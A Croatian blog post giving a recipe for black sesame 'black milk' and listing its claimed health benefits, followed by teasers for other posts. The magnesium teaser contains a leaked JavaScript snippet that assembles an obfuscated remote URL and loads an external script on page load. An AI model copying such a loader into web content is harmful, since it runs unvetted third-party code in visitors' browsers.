ZAŠTO JE CRNO MLIJEKO DOBRO?





Zašto je crno mlijeko dobro?



Crno mlijeko biljni je napitak koji se najčešće priprema blendanjem namočenih sjemenki crnog sezama, datulja, vode i prstohvata soli. Po želji mu se mogu dodati vanilija, cimet ili malo javorova sirupa za još bogatiji okus. Crni sezam razlikuje se od klasičnog bijelog sezama po intenzivnijem, orašastom okusu i većem udjelu antioksidansa, minerala i zdravih masnoća. Upravo zbog toga ovaj napitak mnogi smatraju funkcionalnim dodatkom prehrani.




Crni mlijeko 


Sastojci:

  • 1/2 šalice crnog sezama
  • 3 do 4 šalice vode
  • 2 do 4 datulje bez koštica
  • prstohvat morske soli

po želji:

  • žličica ekstrakta vanilije
  • malo javorovog sirupa
  • žlica sjemenki konoplje



Priprema:

  1. Crni sezam potrebno je namočiti najmanje 30 minuta, a idealno preko noći kako bi omekšao i bio lakši za probavu. Nakon toga se ocijedi i prebaci u blender zajedno s vodom, namočenim datuljama i ostalim sastojcima.
  2. Sve se miksa jednu do dvije minute dok smjesa ne postane potpuno glatka i kremasta. Napitak se potom procijedi kroz gazu, cjedilo ili vrećicu za biljno mlijeko kako bi se uklonila pulpa.
  3. Crno mlijeko može se čuvati u hladnjaku tri do četiri dana.




Zašto je crno mlijeko toliko popularno?


1. Bogato je kalcijem

Crni sezam prirodno sadrži velike količine kalcija, pa ovaj napitak može biti odličan dodatak prehrani osobama koje ne konzumiraju mliječne proizvode. Kalcij je važan za zdravlje kostiju, zuba i mišića.

2. Prepuno je antioksidansa

Crni sezam bogat je snažnim antioksidansima poput sezamina i sezamolina, koji pomažu u zaštiti organizma od oksidativnog stresa i slobodnih radikala.

3. Doprinosi zdravlju kože i kose

Ovaj napitak sadrži vitamin E, cink, bakar i zdrave masnoće koje se povezuju sa zdravijom kosom, elastičnijom kožom i sporijim znakovima starenja.

4. Prirodno podiže energiju

Datulje su prirodan izvor šećera, vlakana i minerala, pa organizmu daju brz, ali stabilniji izvor energije od rafiniranih slastica.

5. Može pomoći imunitetu

Kombinacija minerala, zdravih masti i antioksidansa može pozitivno djelovati na imunitet i opće stanje organizma.



Treba li ga piti svaki dan?

Iako je riječ o vrlo nutritivnom napitku, stručnjaci preporučuju umjerenost. Crni sezam sadrži dosta masnoća i kalorija, a kod nekih osoba može izazvati alergijske reakcije ili smetnje povezane s određenim krvnim stanjima.

Zbog toga se preporučuje konzumacija pola do jedne čaše nekoliko puta tjedno kao dio uravnotežene prehrane.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više